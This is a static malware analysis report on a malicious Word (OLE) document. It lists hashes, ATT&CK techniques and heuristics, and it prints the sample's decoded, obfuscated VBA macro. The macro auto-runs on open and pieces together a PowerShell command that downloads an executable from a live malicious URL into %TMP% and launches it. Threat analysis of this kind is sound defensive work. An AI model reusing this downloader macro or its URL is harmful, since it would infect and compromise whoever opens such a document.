Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 518b269177a74a3d…

MALICIOUS

Office (OLE)

161.5 KB Created: 2017-04-13 19:49:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 0c3ad852c25cde8efd724660a184eacf SHA-1: e948d462606c2ee050ee44e8bddc23ea2361dee4 SHA-256: 518b269177a74a3d38e107927dc4b9e27225aa53b48be82957612c9ca14ad98c
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes CreateObject to instantiate WScript.Shell, which is then used to execute a command. The script attempts to download and run a second-stage payload from the URL http://wmcforyou.com/f. The obfuscated nature of the script and the use of a suspicious URL contribute to the assessment.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wmcforyou.com/f In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3419 bytes
SHA-256: da6051d39735e91dc608d3daed8ce17b8dba4f42a6aec13a064e143bb9768d84
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sidjfuhe"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
OeKIJEFHuEg = pfjxy.mghui
Set OJfiHEUhfOEjfUHEg = CreateObject( _
"" & sidjfuhe.suYEfgIIefh & OeKIJEFHuEg & "t.She" & "ll")
OJfiHEUhfOEjfUHEg.Run OIEfiEHufEt(), 0
End Sub
Function JoejHRhjd()
pWI9fe9Uuf = EOjfei + eoJFEheiuh + ejfieHuefh + oejfenf
pWI9fe9Uuf = EOjfei + eoJFEheiuh + ejfieHuefh + oejfenf
    
JoejHRhjd = udgyset.OEjfijfIEJfg + ofjtb.OefjIEhfUEf
End Function
Function ishduse()
oijvisjie = udgyset.ihhUEHfu
ishduse = udgyset.PkfOEhfuE + sidjfuhe.JoejHRhjd + oijvisjie
End Function
Function fJEIfhuE()
fJEIfhuE = pfjxy.DgeT
End Function
Function suYEfgIIefh()
UYefgYYef = "W"
OfjiHUegEtW = pfjxy.Tag
OEfjIJjjIEh = "c"
pEKfoEOit = UYefgYYef
suYEfgIIefh = pEKfoEOit + OfjiHUegEtW + OEfjIJjjIEh
End Function

Attribute VB_Name = "ofjtb"
Function OefjIEhfUEf()
OefjIEhfUEf = pfjxy.Caption + pfjxy.JoeJRt + "('" + iHEuhfi.ososiehut + "ilesfju" + iHEuhfi.osheut + "',"
End Function

Function OIEfiEHufEt()
Dim hsehEYg
Dim PejfiUWHGf

pjeaWYGfg = bxugdyEE + Mndshue
bxugdyEE = hsehEYg + PejfiUWHGf + kihIEHhufhw
Dim MVieHEuhfYEf

MVieHEuhfYEf = vnoNEjfEhgiE + MFojoEJfEJo + ojvsjiet + NfiEIHihEI
pWI9fe9Uuf = EOjfei + eoJFEheiuh + ejfieHuefh + oejfenf
pWI9fe9Uuf = EOjfei + eoJFEheiuh + ejfieHuefh + oejfenf
pWI9fe9Uuf = EOjfei + eoJFEheiuh + ejfieHuefh + oejfenf
UfyEGfyGEgbvfgh = ivihahuh + OJEIihIEHife
OJFehfuuH = sidjfuhe.fJEIfhuE
JEifiEFUEhfuH = udgyset.isdhuhfue + " " + sidjfuhe.ishduse
IfhUHEgfyYE = OJFehfuuH + " " + JEifiEFUEhfuH + " "
OIEfiEHufEt = IfhUHEgfyYE
End Function


Attribute VB_Name = "pfjxy"
Attribute VB_Base = "0{033C35F1-FB77-4B51-A11B-A08788DDA781}{6E115756-F881-476E-A40E-8717BCFD8B5D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iiEigiEHg"
Attribute VB_Base = "0{97F49C76-C4BC-49D0-8DA2-96976B0A46B2}{6781A066-E538-467F-84EB-4D592695E421}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iHEuhfi"
Attribute VB_Base = "0{1EAED6AB-4414-4DA9-8E47-5AB91E302C17}{9388FD0F-44A8-4ED9-B556-9E9C0FA397D4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "udgyset"
Function OEjfijfIEJfg()
    OEjfijfIEJfg = "(Ne" + "w-Obj" + iiEigiEHg.igjrhuey + " " + iiEigiEHg.NdifuE + "et.We" + iiEigiEHg.mviehut + "t)"
End Function
Function PefkIehfE()
IfjUfBvE = "tart-"
PefkIehfE = "'%TMP%\filesfjuds6fr22.exe');S" + IfjUfBvE + "Pro" + "cess '%TMP%\filesfjuds6fr22.exe';"
End Function
Function PkfOEhfuE()
PkfOEhfuE = iiEigiEHg.osdjie + iiEigiEHg.Caption
End Function
Function ihhUEHfu()
ihhUEHfu = udgyset.PefkIehfE
End Function
Function isdhuhfue()
isdhuhfue = "/c"
End Function

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